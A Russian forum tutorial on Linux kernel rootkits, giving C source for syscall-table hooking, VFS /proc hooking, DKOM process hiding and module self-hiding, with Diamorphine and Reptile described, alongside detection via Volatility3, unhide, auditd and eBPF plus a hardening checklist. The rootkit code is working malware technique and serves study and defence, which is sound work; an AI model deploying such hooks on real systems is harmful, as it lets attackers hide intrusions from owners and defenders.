HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 11.04.2026, 23:29
Сергей Попов
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами: 5656404

Репутация: 0
По умолчанию



Загрузили вредоносный модуль ядра в ring 0 - и всё, между вами и железом пусто. SELinux, AppArmor, антивирус в userland - всё это работает этажом выше и тупо не видит, что творится внутри ядра. Kernel rootkit на Linux - один из самых опасных инструментов в арсенале атакующего (полная классификация всех типов руткитов и матрица их обнаружения - в обзоре техник руткитов с картой противодействия), и одновременно одна из самых недооценённых угроз в русскоязычном сообществе. Мало кто копает эту тему на уровне кода, а зря.

Здесь разберу три ключевые техники LKM-руткитов: перехват syscall table, модификацию VFS для сокрытия файлов и манипуляции с процессами через DKOM. Каждый блок - рабочий код на C, объяснение «почему именно так», а рядом взгляд с позиции защитника: что оставляет артефакты, что видит Volatility и где
Код:
rkhunter
бессилен.
Зачем пентестеру разбираться в руткитах ядра
В red team-операциях kernel rootkit linux - инструмент последней мили. Вы уже получили root, закрепились в системе, и теперь задача - остаться незамеченным максимально долго. Userland-руткиты через
Код:
LD_PRELOAD
обнаруживаются тривиально - достаточно мониторить
Код:
/etc/ld.so.preload
и переменные окружения. А вот LKM-руткит, сидящий в kernel space, перехватывает системные вызовы до того, как информация дойдёт до любого инструмента в userland. Разница - как между подслушиванием за дверью и контролем самого коммутатора.

По классификации MITRE ATT&CK руткиты ядра покрывают сразу несколько тактик:
  • T1014 (Defense Evasion) - основная функция: сокрытие следов
  • T1547.006 (Persistence / Privilege Escalation) - доставка через загрузку модуля
  • T1574 (Persistence / Privilege Escalation / Defense Evasion) - перехват потока выполнения. Для userland это LD_PRELOAD, DLL side-loading и прочее, а kernel-level hooking (syscall table, VFS) точнее всего покрывается T1014. Историческая справка: техника T1179 Hooking отозвана в ATT&CK v8 (октябрь 2020) и частично поглощена T1574 и T1056 (Input Capture), но kernel-level hooking в T1574 явно не описан
По данным Elastic Security Labs, даже тривиальная модификация бинарника руткита - добавление одного нулевого байта - значительно роняет процент обнаружения статическими сигнатурами на VirusTotal. Полагаться на файловые индикаторы нельзя: единственный надёжный сигнал - поведение руткита в runtime.
Подготовка лабораторной среды
Прежде чем лезть в код - настройте безопасную среду. Никогда не грузите экспериментальные модули ядра на хостовую машину. Лично я для таких вещей держу отдельную QEMU-виртуалку без сетевого моста.

Bash:


Код:
# Создание виртуальной машины через QEMU/KVM
qemu-system-x86_64
\
-kernel /path/to/bzImage
\
-append
"console=ttyS0 root=/dev/sda nokaslr"
\
-hda /path/to/rootfs.img
\
-m
2048
\
-nographic
\
-s -S
# GDB stub для отладки ядра
Флаг
Код:
nokaslr
отключает рандомизацию адресного пространства ядра - упрощает отладку.
Код:
-s -S
поднимают GDB-сервер на порту 1234 и останавливают CPU до подключения отладчика. В продакшене KASLR, разумеется, включён, и для атакующего это отдельная головная боль.

Для компиляции модулей - заголовки ядра целевой версии:

Bash:


Код:
apt
install
linux-headers-
$(uname -r)
build-essential
Перехват syscall table Linux: классическая техника
Перехват syscall table - фундаментальная техника linux lkm rootkit, описанная ещё в Phrack Magazine. Идея до безобразия проста: ядро хранит массив указателей на функции-обработчики системных вызовов. Подменил указатель - и каждый вызов
Код:
getdents64
или
Код:
kill
идёт через твой код.
Поиск адреса sys_call_table
Начиная с ядра 5.7,
больше не экспортируется для модулей. Разработчики ядра сделали это специально - чтобы усложнить жизнь авторам руткитов. Ирония в том, что обходной путь через kprobes работает не хуже:

C:


Код:
#include 
static
unsigned
long
*
sys_call_table
;
static
unsigned
long
lookup_name
(
const
char
*
name
)
{
struct
kprobe
kp
=
{
.
symbol_name
=
name
}
;
unsigned
long
addr
;
if
(
register_kprobe
(
&
kp
)

/* Тип оригинального обработчика */
typedef
asmlinkage
long
(
*
orig_getdents64_t
)
(
const
struct
pt_regs
*
regs
)
;
static
orig_getdents64_t orig_getdents64
;
/* Префикс для скрываемых файлов */
#define HIDE_PREFIX "rootkit_"
asmlinkage
long
hooked_getdents64
(
const
struct
pt_regs
*
regs
)
{
struct
linux_dirent64
__user
*
dirent
;
struct
linux_dirent64
*
current_dir
,
*
prev_dir
=
NULL
;
struct
linux_dirent64
*
kdirent
;
long
ret
;
unsigned
long
offset
=
0
;
/* Вызываем оригинальный обработчик */
ret
=
orig_getdents64
(
regs
)
;
if
(
ret
si == rsi на x86_64; в ядрах 6.1+ поле может называться иначе -
       проверьте arch/x86/include/asm/ptrace.h для вашей версии */
dirent
=
(
struct
linux_dirent64
__user
*
)
regs
->
si
;
/* Копируем результат в kernel space для модификации */
kdirent
=
kzalloc
(
ret
,
GFP_KERNEL
)
;
if
(
!
kdirent
)
return
ret
;
if
(
copy_from_user
(
kdirent
,
dirent
,
ret
)
)
{
kfree
(
kdirent
)
;
return
ret
;
}
/* Итерируем по записям, удаляя скрываемые */
current_dir
=
kdirent
;
while
(
offset

d_name
,
HIDE_PREFIX
,
strlen
(
HIDE_PREFIX
)
)
==
0
)
{
/* Сдвигаем оставшиеся записи поверх текущей */
long
reclen
=
current_dir
->
d_reclen
;
memmove
(
current_dir
,
(
char
*
)
current_dir
+
reclen
,
ret
-
offset
-
reclen
)
;
ret
-=
reclen
;
continue
;
}
offset
+=
current_dir
->
d_reclen
;
prev_dir
=
current_dir
;
current_dir
=
(
void
*
)
current_dir
+
current_dir
->
d_reclen
;
}
if
(
copy_to_user
(
dirent
,
kdirent
,
ret
)
)
{
kfree
(
kdirent
)
;
return
ret
;
/* fallback: оригинальный результат уже в userspace от первого вызова */
}
kfree
(
kdirent
)
;
return
ret
;
}
Установка хука - в
Код:
module_init
:

C:


Код:
static
int
__init
rootkit_init
(
void
)
{
sys_call_table
=
(
unsigned
long
*
)
lookup_name
(
"sys_call_table"
)
;
if
(
!
sys_call_table
)
return
-
ENXIO
;
orig_getdents64
=
(
orig_getdents64_t
)
sys_call_table
[
__NR_getdents64
]
;
write_cr0_forced
(
read_cr0
(
)
&
~
0x10000
)
;
sys_call_table
[
__NR_getdents64
]
=
(
unsigned
long
)
hooked_getdents64
;
write_cr0_forced
(
read_cr0
(
)
|
0x10000
)
;
return
0
;
}
После загрузки модуля любой файл с префиксом
Код:
rootkit_
исчезает из вывода
Код:
ls
,
Код:
find
и вообще чего угодно, что дёргает
Код:
getdents64
.
Код:
ps
тоже использует этот вызов при чтении
Код:
/proc
, так что тем же механизмом прячутся и процессы - достаточно фильтровать записи в
Код:
/proc
по PID.
Детектирование перехвата syscall table
С позиции синей команды перехват syscall table оставляет чёткий артефакт: адрес обработчика указывает за пределы текстового сегмента ядра, куда-то в регион памяти загруженного модуля. Грубо говоря - адрес «не оттуда».

Bash:


Код:
# Сравниваем адреса обработчиков с диапазоном ядра
cat
/proc/kallsyms
|
grep
sys_call_table
# Адреса должны лежать в диапазоне _stext .. _etext
cat
/proc/kallsyms
|
grep
-E
"^[0-9a-f]+ T _stext"
cat
/proc/kallsyms
|
grep
-E
"^[0-9a-f]+ T _etext"
Volatility3 с Linux-профилем проверяет целостность таблицы:

Bash:


Код:
# Проверка syscall table через volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
Плагин
Код:
linux.check_syscall
сравнивает каждый адрес в
Код:
sys_call_table
с известными символами ядра. Адрес указывает на неизвестный регион - явный индикатор компрометации.

А вот
Код:
rkhunter
и
Код:
chkrootkit
работают из userland и полагаются на сигнатуры известных руткитов. Целостность syscall table в реальном времени они не проверяют. Кастомный руткит пройдёт мимо них без единого алерта.
Модификация VFS Linux: хуки на уровне файловой системы
Альтернатива грубой подмене syscall table - перехват на уровне Virtual File System. Это элегантнее и куда сложнее для детектирования: адреса в syscall table остаются чистыми.
Перехват iterate_shared в VFS
Когда userland-процесс вызывает
Код:
getdents64
, ядро в итоге дёргает метод
Код:
iterate_shared
из структуры
Код:
file_operations
конкретной файловой системы. У каждой ФС (ext4, procfs, tmpfs) - своя реализация. Руткит подменяет указатель
Код:
iterate_shared
в
Код:
file_operations
для
Код:
/proc
:

C:


Код:
#include 
#include 
static
struct
file_operations
*
proc_fops
;
static
int
(
*
orig_iterate_shared
)
(
struct
file
*
,
struct
dir_context
*
)
;
/* Наш filldir-фильтр */
/* Обёрточная структура для per-call хранения оригинального actor,
   чтобы избежать race condition при параллельных вызовах. */
struct
my_dir_context
{
struct
dir_context
ctx
;
filldir_t real_actor
;
}
;
/* Тип возврата filldir_t: bool на ядрах 6.x, int на ядрах до ~5.18.
   Семантика: на 6.x true=continue, false=stop;
   на 
real_actor
(
ctx
,
name
,
namelen
,
offset
,
ino
,
d_type
)
;
}
static
int
hooked_iterate_shared
(
struct
file
*
file
,
struct
dir_context
*
ctx
)
{
/* Per-call обёртка: сохраняем оригинальный actor без race condition */
struct
my_dir_context
my_ctx
=
{
.
ctx
.
actor
=
my_filldir
,
.
ctx
.
pos
=
ctx
->
pos
,
.
real_actor
=
ctx
->
actor
,
}
;
int
ret
=
orig_iterate_shared
(
file
,
&
my_ctx
.
ctx
)
;
/* Синхронизируем позицию обратно в оригинальный ctx */
ctx
->
pos
=
my_ctx
.
ctx
.
pos
;
return
ret
;
}
Получение указателя на
Код:
file_operations
для
Код:
/proc
:

C:


Код:
static
void
hook_proc_fops
(
void
)
{
struct
file
*
proc_filp
;
proc_filp
=
filp_open
(
"/proc"
,
O_RDONLY
,
0
)
;
if
(
IS_ERR
(
proc_filp
)
)
return
;
proc_fops
=
(
struct
file_operations
*
)
proc_filp
->
f_op
;
orig_iterate_shared
=
proc_fops
->
iterate_shared
;
/* proc_root_operations объявлена как const и лежит в .rodata -
       прямая запись вызовет page fault. Используем set_memory_rw()
       для модификации оригинальной структуры in-place. */
{
unsigned
long
fops_addr
=
(
unsigned
long
)
proc_fops
;
unsigned
long
aligned
=
fops_addr
&
PAGE_MASK
;
/* Снимаем RO-защиту со страницы, содержащей file_operations */
set_memory_rw
(
aligned
,
1
)
;
/* Подменяем iterate_shared в оригинальной структуре -
           это глобальный эффект для всех open("/proc") */
(
(
struct
file_operations
*
)
proc_fops
)
->
iterate_shared
=
hooked_iterate_shared
;
set_memory_ro
(
aligned
,
1
)
;
}
filp_close
(
proc_filp
,
NULL
)
;
}
Ключевое преимущество: syscall table остаётся чистой, и плагины вроде
Код:
linux.check_syscall
в Volatility аномалий не увидят. Детектировать VFS-хуки на порядок сложнее.
Детектирование модификации VFS
Для обнаружения VFS-хуков нужно проверять указатели в
Код:
file_operations
конкретных файловых систем:

Bash:


Код:
# Volatility3: проверка модулей, которые могли подменить fops
vol3 -f memory.dump linux.check_modules.Check_modules
Сравнение адресов
Код:
iterate_shared
для procfs, sysfs, ext4 с диапазоном легитимных модулей ядра позволяет выявить подмену. Адрес указывает в регион загруженного LKM, который не является стандартным драйвером файловой системы - аномалия.

На живой системе помогает ftrace:

Bash:


Код:
# Трассировка вызовов iterate_shared
echo
'iterate_shared'
>
/sys/kernel/tracing/set_ftrace_filter
echo
function
>
/sys/kernel/tracing/current_tracer
cat
/sys/kernel/tracing/trace_pipe
Если при чтении
Код:
/proc
в трассировке всплывает вызов из неизвестного модуля - прямой индикатор VFS-хука.
Сокрытие процессов Linux kernel через DKOM


🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Direct Kernel Object Manipulation - техника, при которой руткит правит внутренние структуры данных ядра напрямую, без перехвата каких-либо функций. По MITRE ATT&CK - T1014 (Rootkit, Defense Evasion). Самый «тихий» подход из трёх, но и самый хрупкий.
Манипуляция task_struct
Каждый процесс в Linux - это структура
Код:
task_struct
, связанная в двусвязный список. Выдернули процесс из списка - он исчез из
Код:
/proc
, но продолжает получать процессорное время (scheduler работает через другую структуру - run queue):

C:


Код:
#include 
#include 
static
void
hide_process
(
pid_t target_pid
)
{
struct
task_struct
*
task
;
struct
pid
*
pid_struct
;
pid_struct
=
find_get_pid
(
target_pid
)
;
if
(
!
pid_struct
)
return
;
task
=
pid_task
(
pid_struct
,
PIDTYPE_PID
)
;
if
(
!
task
)
{
put_pid
(
pid_struct
)
;
return
;
}
/* Удаляем из списка задач -
       процесс исчезает из /proc и ps */
/* ВАЖНО: без tasklist_lock здесь возможен race condition
       и kernel panic. В реальных руткитах (Diamorphine)
       используется write_lock/unlock на tasklist_lock.
       tasklist_lock не экспортируется для LKM - получаем
       его адрес через lookup_name (определена выше). */
static
rwlock_t
*
tasklist_lock_ptr
;
tasklist_lock_ptr
=
(
rwlock_t
*
)
lookup_name
(
"tasklist_lock"
)
;
if
(
!
tasklist_lock_ptr
)
{
put_pid
(
pid_struct
)
;
return
;
}
unsigned
long
flags
;
write_lock_irqsave
(
tasklist_lock_ptr
,
flags
)
;
list_del_init
(
&
task
->
tasks
)
;
write_unlock_irqrestore
(
tasklist_lock_ptr
,
flags
)
;
/* Удаляем из PID namespace -
       kill по PID тоже не найдёт */
/* Удаление из PID namespace зависит от версии ядра.
       pid_links появилось в ~4.19, до этого - pids[].node.
       На 6.x+ структура может отличаться - проверяйте sched.h. */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(4,19,0)
hlist_del_init
(
&
task
->
pid_links
[
PIDTYPE_PID
]
)
;
#else
hlist_del_init
(
&
task
->
pids
[
PIDTYPE_PID
]
.
node
)
;
#endif
put_pid
(
pid_struct
)
;
}
После
Код:
hide_process(1337)
процесс с PID 1337 пропадает из
Код:
ps aux
,
Код:
/proc/1337
перестаёт существовать,
Код:
kill -0 1337
возвращает ошибку. При этом процесс продолжает работать. Магия.

Но техника опасная: если скрытый процесс упадёт, ядро попытается удалить его из списка, в котором его уже нет. Результат - kernel panic. В реальных руткитах (Diamorphine, Reptile) реализации аккуратнее - с сохранением указателей для восстановления.
Сокрытие самого модуля ядра
Загруженный LKM виден через
Код:
lsmod
и
Код:
/proc/modules
. Руткит прячет себя аналогичным приёмом:

C:


Код:
static
struct
list_head
*
module_prev
;
static
void
hide_module
(
void
)
{
/* Сохраняем указатель для возможного восстановления */
module_prev
=
THIS_MODULE
->
list
.
prev
;
/* Удаляем из списка модулей */
list_del
(
&
THIS_MODULE
->
list
)
;
/* Удаляем из /sys/module/ */
kobject_del
(
&
THIS_MODULE
->
mkobj
.
kobj
)
;
}
После этого модуль не отображается в
Код:
lsmod
,
Код:
/proc/modules
и
Код:
/sys/module/
. Но он по-прежнему занимает память в kernel space - и именно это позволяет его найти через memory forensics. Модуль как бы снял табличку с двери, но комнату-то не освободил.
Детектирование DKOM-скрытых процессов
Утилита
Код:
unhide
специально заточена под поиск скрытых процессов. Она использует несколько методов опроса:

Bash:


Код:
# Брутфорс PID-пространства
unhide-linux brute
# Сравнение /proc с /proc/pid/status для каждого PID
unhide-linux proc
# Сравнение информации из разных системных вызовов
unhide-linux sys
Принцип:
Код:
unhide
отправляет
Код:
kill -0
для каждого возможного PID (или дёргает другие системные вызовы). Если процесс удалён из списка задач, но ещё живёт в планировщике, некоторые интерфейсы ядра вернут противоречивые результаты. Правда, если руткит перехватил
Код:
kill
через syscall table -
Код:
unhide
тоже окажется обманут. Такая вот гонка вооружений.

Volatility3 обходит проблему, анализируя дамп памяти офлайн:

Bash:


Код:
# Поиск скрытых процессов через анализ памяти
vol3 -f memory.dump linux.pslist.PsList
vol3 -f memory.dump linux.pstree.PsTree
# Сравнение: pslist проходит по task_struct->tasks,
# а psscan сканирует всю память по сигнатурам task_struct
vol3 -f memory.dump linux.psscan.PsScan
Расхождение между
Код:
pslist
и
Код:
psscan
- классический индикатор DKOM.
Код:
psscan
нашёл процесс, которого нет в
Код:
pslist
- значит, его выдернули из двусвязного списка.


Анализ реальных руткитов: Diamorphine и Reptile
Посмотрим, как описанные техники работают в живых проектах, которые упоминаются в исследованиях Elastic Security Labs и Wiz.
Diamorphine
Diamorphine - один из самых известных open-source LKM-руткитов, функциональный на ядрах от 2.6 до 6.x. Его архитектура:

КомпонентТехникаАртефакты Сокрытие файловПерехват getdents/getdents64Аномалия в syscall tableСокрытие процессовФильтрация по PID в hooked getdentsРасхождение pslist/psscanСокрытие модуляlist_del из modules listПамять модуля без записи в /proc/modulesУправлениеСигнал 63 (kill -63 PID)Нестандартные сигналы в аудит-логахПовышение привилегийОбработка сигнала 64 для grant rootСмена credentials процесса

Diamorphine использует syscall table hooking через kprobes на новых ядрах. Управление - через нестандартные сигналы:
Код:
kill -63
делает процесс невидимым,
Код:
kill -64
выдаёт root-shell. Элегантно и просто - никаких сетевых бэкдоров, всё через стандартный
Код:
kill
.
Reptile
Reptile - руткит посерьёзнее, с полноценной бэкдор-функциональностью. Помимо стандартного набора (сокрытие файлов, процессов, модуля) он включает:
  • Перехват сетевого трафика для активации magic-пакетом
  • Встроенный reverse shell
  • Хуки на уровне VFS для procfs и sysfs
По данным Elastic Security Labs, Reptile остаётся функциональным на многих дистрибутивах - «modern variant featuring backdoor capabilities». На одном из проектов я видел его модификацию с кастомным magic-пакетом на нестандартном протоколе. Обнаружили только через аномалию в memory dump.
Linux rootkit обнаружение: комплексная методология
Ни один инструмент не ловит все типы руткитов. Эффективное linux rootkit детектирование требует многоуровневого подхода - от быстрых проверок на живой системе до полноценного memory forensics.
Уровень 1: проверка целостности на живой системе

Bash:


Код:
# rkhunter - сигнатурный анализ
rkhunter --check --skip-keypress
# chkrootkit - альтернативный сигнатурный сканер
chkrootkit -q
# Проверка tainted-флага ядра
cat
/proc/sys/kernel/tainted
# Значение != 0 означает загрузку стороннего модуля
Ограничение: оба инструмента работают из userland. Если руткит перехватил системные вызовы, которыми пользуются эти утилиты, результат будет подделан. Тактика T1562.001 (Disable or Modify Tools, Defense Evasion) как раз про это.
Уровень 2: поведенческий анализ

Bash:


Код:
# Проверка доступных функций для трассировки
cat
/sys/kernel/tracing/available_filter_functions
|
wc
-l
# Резкое изменение числа может указывать на фильтрацию
# Мониторинг загрузки модулей через auditd
auditctl -a always,exit -F
arch
=
b64 -S init_module
\
-S finit_module -k kernel_module_load
# Поиск аномалий в dmesg
dmesg
|
grep
-i
"tainted\|module\|insmod"
При загрузке любого стороннего модуля ядро пишет сообщение в ring buffer (
Код:
dmesg
). Руткит может его вычистить, но если настроен
Код:
rsyslog
с отправкой на удалённый сервер - лог уже ушёл. Поэтому централизованный сбор логов - не роскошь, а необходимость.
Уровень 3: офлайн-анализ памяти
Единственный по-настоящему надёжный метод - снять дамп памяти и анализировать вне скомпрометированной системы:

Bash:


Код:
# Снятие дампа через LiME (Linux Memory Extractor)
insmod lime.ko
"path=/tmp/memory.dump format=lime"
# Анализ через Volatility3
vol3 -f memory.dump linux.check_syscall.Check_syscall
vol3 -f memory.dump linux.check_modules.Check_modules
vol3 -f memory.dump linux.hidden_modules.Hidden_modules
vol3 -f memory.dump linux.tty_check.tty_check
Плагин
Код:
linux.hidden_modules
ищет именно те модули, которые удалили себя из
Код:
/proc/modules
через
Код:
list_del
, но остались в памяти. Покрывает описанную выше технику сокрытия модуля.
Уровень 4: eBPF-мониторинг в реальном времени
Современный подход к linux rootkit защите - eBPF для мониторинга критических операций ядра в реальном времени:

Bash:


Код:
# Мониторинг загрузки модулей через bpftrace
bpftrace -e
'kprobe:do_init_module {
    printf("Module loaded: %s by PID %d (%s)\n",
           str(((struct module *)arg0)->name),
           pid, comm);
}'
# Мониторинг сокрытия модулей (list_del - inline, kprobe на неё невозможен)
bpftrace -e
'kprobe:kobject_del {
    printf("kobject_del called from %s (PID %d)\n", comm, pid);
}'
По данным Elastic Security Labs, eBPF-руткиты сами используют эту подсистему для атаки, но она же - мощный инструмент защиты. Условие одно: eBPF-программы мониторинга должны быть загружены до компрометации. Кто первый встал - того и тапки.
Практический чек-лист: пошаговая проверка системы
Конкретная последовательность действий для проверки Linux-сервера на наличие kernel rootkit:

Шаг 1. Проверьте tainted-флаг ядра:
Код:
cat /proc/sys/kernel/tainted
. Ненулевое значение - повод копать дальше.

Шаг 2. Сравните список модулей из
Код:
/proc/modules
с выводом
Код:
lsmod
. Расхождения - аномалия.

Шаг 3. Проверьте syscall table через
Код:
/proc/kallsyms
: адреса обработчиков должны лежать в диапазоне
Код:
_stext
..
Код:
_etext
.

Шаг 4. Запустите
Код:
unhide-linux brute sys proc
для поиска скрытых процессов.

Шаг 5. Снимите дамп памяти через LiME и проанализируйте офлайн через Volatility3 с плагинами
Код:
check_syscall
,
Код:
hidden_modules
,
Код:
psscan
.

Шаг 6. Проверьте аудит-логи на предмет вызовов
Код:
init_module
/
Код:
finit_module
- это единственные системные вызовы для загрузки модулей.
Защита от загрузки вредоносных модулей
Превентивные меры эффективнее обнаружения постфактум. Вот что реально работает:

МераЧто защищаетОграниченияSecure Boot + подпись модулейЗапрещает загрузку неподписанных LKMТребует инфраструктуры PKI
Код:
kernel.modules_disabled=1
(sysctl)Полностью блокирует загрузку модулейНельзя загрузить легитимные драйверыSELinux/AppArmor в enforcingОграничивает
Код:
CAP_SYS_MODULE
Сложная настройка политикSeccomp-профили в контейнерахБлокирует
Код:
init_module
,
Код:
finit_module
Только для контейнерных средLockdown LSM (integrity mode)Запрещает доступ к
Код:
/dev/mem
, kprobesДоступен с ядра 5.4+

Самая радикальная мера - компиляция ядра без поддержки загружаемых модулей (
Код:
CONFIG_MODULES=n
). Полностью закрывает вектор LKM-руткитов, но делает систему негибкой. На практике я видел такой подход на honeypot-серверах и в специализированных аплайнсах - там это оправдано.
Заключение
Kernel rootkit linux - не академическая страшилка, а рабочий инструмент в таргетированных атаках на серверную инфраструктуру. Три техники - перехват syscall table, модификация VFS и DKOM - покрывают сокрытие файлов, процессов, сетевых соединений и самого руткита.

Для пентестера понимание этих техник на уровне кода нужно в двух направлениях: persistence в red team-сценариях и оценка того, насколько инфраструктура готова к такому уровню атаки. Для защитника - знание внутренностей руткитов объясняет, почему нельзя доверять userland-инструментам на скомпрометированной системе и почему memory forensics через Volatility3 остаётся единственным надёжным методом.

Ядро не лжёт - но руткит заставляет его лгать всем, кто спрашивает. Единственный способ увидеть правду - смотреть на память напрямую. Попробуйте собрать Diamorphine в лабораторной VM из раздела про подготовку среды, загрузить его и прогнать все шесть шагов чек-листа. Посмотрите, на каком шаге вы его поймаете - и на каких он пройдёт незамеченным.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору. Комиссия форума: 2%.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...